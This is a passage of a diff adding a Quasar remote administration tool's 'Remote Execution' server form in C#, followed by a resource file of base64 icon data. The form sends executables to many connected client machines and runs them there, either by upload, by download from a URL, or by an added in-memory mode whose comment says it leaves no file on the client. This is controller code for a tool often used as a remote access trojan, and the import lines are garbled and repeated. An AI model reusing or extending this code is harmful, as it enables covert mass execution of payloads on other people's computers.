Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Helper; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Networking; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Utilities; +using System; +using System.Collections.Generic; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmRemoteExecution : Form + { + private class RemoteExecutionMessageHandler + { + public FileManagerHandler FileHandler; + public TaskManagerHandler TaskHandler; + } + + /// + /// The clients which can be used for the remote execution. + /// + private readonly Client[] _clients; + + private readonly List _remoteExecutionMessageHandlers; + + private enum TransferColumn + { + Client, + Status + } + + private bool _isUpdate; + + public FrmRemoteExecution(Client[] clients) + { + _clients = clients; + _remoteExecutionMessageHandlers = new List(clients.Length); + + InitializeComponent(); + + foreach (var client in clients) + { + var remoteExecutionMessageHandler = new RemoteExecutionMessageHandler + { + FileHandler = new FileManagerHandler(client), TaskHandler = new TaskManagerHandler(client) + }; + + var lvi = new ListViewItem(new[] + { + $"{client.Value.Username}@{client.Value.PcName} [{client.EndPoint.Address}:{client.EndPoint.Port}]", + "Waiting..." + }) {Tag = remoteExecutionMessageHandler}; + + lstTransfers.Items.Add(lvi); + _remoteExecutionMessageHandlers.Add(remoteExecutionMessageHandler); + RegisterMessageHandler(remoteExecutionMessageHandler); + } + } + + /// + /// Registers the message handlers for client communication. + /// + private void RegisterMessageHandler(RemoteExecutionMessageHandler remoteExecutionMessageHandler) + { + // TODO handle disconnects + remoteExecutionMessageHandler.TaskHandler.ProcessActionPerformed += ProcessActionPerformed; + remoteExecutionMessageHandler.FileHandler.ProgressChanged += SetStatusMessage; + remoteExecutionMessageHandler.FileHandler.FileTransferUpdated += FileTransferUpdated; + MessageHandler.Register(remoteExecutionMessageHandler.FileHandler); + MessageHandler.Register(remoteExecutionMessageHandler.TaskHandler); + } + + /// + /// Unregisters the message handlers. + /// + private void UnregisterMessageHandler(RemoteExecutionMessageHandler remoteExecutionMessageHandler) + { + MessageHandler.Unregister(remoteExecutionMessageHandler.TaskHandler); + MessageHandler.Unregister(remoteExecutionMessageHandler.FileHandler); + remoteExecutionMessageHandler.FileHandler.ProgressChanged -= SetStatusMessage; + remoteExecutionMessageHandler.FileHandler.FileTransferUpdated -= FileTransferUpdated; + remoteExecutionMessageHandler.TaskHandler.ProcessActionPerformed -= ProcessActionPerformed; + } + + private void FrmRemoteExecution_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + this.Text = WindowHelper.GetWindowTitle("Remote Execution", _clients.Length); + } + + private void FrmRemoteExecution_FormClosing(object sender, FormClosingEventArgs e) + { + foreach (var handler in _remoteExecutionMessageHandlers) + { + UnregisterMessageHandler(handler); + handler.FileHandler.Dispose(); + } + + _remoteExecutionMessageHandlers.Clear(); + lstTransfers.Items.Clear(); + } + + private void btnExecute_Click(object sender, EventArgs e) + { + _isUpdate = chkUpdate.Checked; + + if (radioURL.Checked) + { + foreach (var handler in _remoteExecutionMessageHandlers) + { + if (!txtURL.Text.StartsWith("http")) + txtURL.Text = "http://" + txtURL.Text; + + handler.TaskHandler.StartProcessFromWeb(txtURL.Text, _isUpdate); + } + } + else if (chkInMemory.Checked) + { + // Read file bytes on server side, send directly — no temp file on client + if (string.IsNullOrEmpty(txtPath.Text) || !File.Exists(txtPath.Text)) + { + MessageBox.Show("Please select a valid file.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Warning); + return; + } + byte[] payload; + try { payload = File.ReadAllBytes(txtPath.Text); } + catch (Exception ex) + { + MessageBox.Show($"Failed to read file: {ex.Message}", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + return; + } + foreach (var handler in _remoteExecutionMessageHandlers) + { + handler.TaskHandler.StartProcessInMemory(payload); + } + } + else + { + foreach (var handler in _remoteExecutionMessageHandlers) + { + handler.FileHandler.BeginUploadFile(txtPath.Text); + } + } + } + + private void btnBrowse_Click(object sender, EventArgs e) + { + using (OpenFileDialog ofd = new OpenFileDialog()) + { + ofd.Multiselect = false; + ofd.Filter = "Executable (*.exe)|*.exe"; + if (ofd.ShowDialog() == DialogResult.OK) + { + txtPath.Text = Path.Combine(ofd.InitialDirectory, ofd.FileName); + } + } + } + + private void radioLocalFile_CheckedChanged(object sender, EventArgs e) + { + groupLocalFile.Enabled = radioLocalFile.Checked; + groupURL.Enabled = !radioLocalFile.Checked; + } + + private void radioURL_CheckedChanged(object sender, EventArgs e) + { + groupLocalFile.Enabled = !radioURL.Checked; + groupURL.Enabled = radioURL.Checked; + } + + /// + /// Called whenever a file transfer gets updated. + /// + /// The message processor which raised the event. + /// The updated file transfer. + private void FileTransferUpdated(object sender, FileTransfer transfer) + { + for (var i = 0; i < lstTransfers.Items.Count; i++) + { + var handler = (RemoteExecutionMessageHandler) lstTransfers.Items[i].Tag; + + if (handler.FileHandler.Equals(sender as FileManagerHandler) || handler.TaskHandler.Equals(sender as TaskManagerHandler)) + { + lstTransfers.Items[i].SubItems[(int) TransferColumn.Status].Text = transfer.Status; + + if (transfer.Status == "Completed") + { + handler.TaskHandler.StartProcess(transfer.RemotePath, _isUpdate); + } + return; + } + } + } + + // TODO: update documentation + /// + /// Sets the status of the file manager. + /// + /// The message handler which raised the event. + /// The new status. + private void SetStatusMessage(object sender, string message) + { + for (var i = 0; i < lstTransfers.Items.Count; i++) + { + var handler = (RemoteExecutionMessageHandler)lstTransfers.Items[i].Tag; + + if (handler.FileHandler.Equals(sender as FileManagerHandler) || handler.TaskHandler.Equals(sender as TaskManagerHandler)) + { + lstTransfers.Items[i].SubItems[(int) TransferColumn.Status].Text = message; + return; + } + } + } + + private void ProcessActionPerformed(object sender, ProcessAction action, bool result) + { + if (action != ProcessAction.Start) return; + + for (var i = 0; i < lstTransfers.Items.Count; i++) + { + var handler = (RemoteExecutionMessageHandler)lstTransfers.Items[i].Tag; + + if (handler.FileHandler.Equals(sender as FileManagerHandler) || handler.TaskHandler.Equals(sender as TaskManagerHandler)) + { + lstTransfers.Items[i].SubItems[(int)TransferColumn.Status].Text = result ? "Successfully started process" : "Failed to start process"; + return; + } + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteExecution.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteExecution.resx new file mode 100755 index 0000000..2c59259 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteExecution.resx @@ -0,0 +1,659 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 + LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 + MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wFuXlYDUEA5Kz8vKHs8LCXNPy8oyUY2L3NURD0lVkY/A////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUU1LhVGNi9ZPS0mwzQkHfc2Jh//NSUe/zYmH/U7KyS7RTUuT0o6MxP///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BV0dAQz4uJ6M2Jh/nNSUe/zgoIf85KSH/Nycg/zcnIP82Jh/9Nycg40U1 + Lp1VRT45////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8Ba1tUCVNDPDVDMyyNOSki7zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zgo + If83JyD/NiYf/zIiG/83JyDpRTUui1hIQTFjU0wH////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFeTkcbRDQteT0tJs81JR75NSUe/zgoIf83KCH/OSki/zYm + H/9JOTL/Py8o/zYmH/83JyD/Nycg/zcnIP82Jh//NSUe+TwsJcdCMitxaFdRF////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUkI6B1JCO0lAMCmzNSUe8zYmH/84KCH/OSki/zgo + If84KCH/OCgh/zEhGv9jU0z/WEhB/zIiG/84KCH/OCgh/zgoIf84KCH/OCgh/zYmH/82Jh/xQDApr1pK + Q0NjU0wF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVREPQ1TQzw5QDApsTMjHPM1JR7/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/y0dFv94aWL/cF9Y/y0dFv85KSL/OSki/zkoIf85KSL/OSki/zko + If84KCH/NCQd/zMjHPFFNS6pRTUuMUc3MAv///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wGAb2gDUUE6LzwsJYM6KiPXNSUe/zcn + IP84KCH/OSkh/zkpIv85KCH/OSkh/zkpIv85KCH/OCki/ysaE/+He3b/f3Bq/ysaFP84KCH/OCgi/zkp + Iv85KCH/OCgi/zkpIv84KCH/OCgh/zcnIP80JB3/NiYfz0ExKntcTEUr////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVhIQQ9cTEVVPCwlzTQk + HfM2Jh//OCgh/zgoIf84KCH/OSkh/zgoIf85KSH/OSkh/zgoIf85KSH/Nycg/ysbE/+dk4//h3x4/ygY + Ef85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/Nycg/zYmH/M8LCXJPCwlTVJD + Owv///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wFUQzwRTDw1Vzkp + IrswIBn3NSUe/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/NiYf/y8f + F/+3rqr/m5KN/ywbFP83KCH/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkp + Iv81JR7/NCQd9z8vKLdGNi9PTz83D////wH///8B////Af///wH///8B////Af///wH///8BXExFB0s7 + NDc7KySPOSki6zUlHv03JyD/OCgh/zgoIf84KCH/OSkh/zkpIv85KCH/OCgh/zgoIf84KCH/OSkh/zkp + Iv84KCH/NSQd/zQjHP/Dvbn/sqii/zEgGP82JiD/OCgh/zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zkp + Iv85KCH/OCgi/zkpIv85KSL/Nycg/zUlHv02Jh/lPy8oiUg4MTNFNS0F////Af///wH///8B////Af// + /wGyopsFWkpDVTMjHM80JB33NiYf/zgoIf85KSL/OCgh/zkpIv84KCH/Nycg/zgoIf84KCH/Nycg/zUl + Hf80JBz/MiIb/zAfGP8sHBT/JhYQ/y8iHv/KxsT/wLq3/ykZFP8oGBH/Lx8Y/zIiG/80JB3/NiYe/zcn + IP84KCH/OCgh/zcnIP84KCH/OSki/zkpIv85KSL/OCgh/zgoIf83JyD/NiYf9zcnIMlPPzhJWUpDA/// + /wH///8B////Af///wFuXldRPi4n1TAgGf84KCH/OSki/zkpIv85KSL/OSki/zkpIv82Jh//MSEa/zAg + GP81JR3/Pi0m/0s7Nf9kVU7/d2tl/4Z8d/+TiIT/m5CL/7Cmov/u7Or/5+Ti/6CTj/+TiIT/gnZx/3Nm + YP9lVlD/Tj84/0Q0Lf86KiT/MyMc/zIiG/81JR3/OCgh/zkpIv85KSL/OSki/zkoIf85KSL/OCgh/zMj + HP85KSLLYFBJQf///wH///8B////Af///wFSQjt/Oysk8TUlHv84KCH/OSki/zkpIv86KiP/NSUe/y4d + Ff8wHhf/Tj44/3VoY/+gl5T/wbq3/8vFw//W0M7/z8nG/721sv+ooZ7/lIuI/7CopP/18/P/8O3s/6SY + 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 + 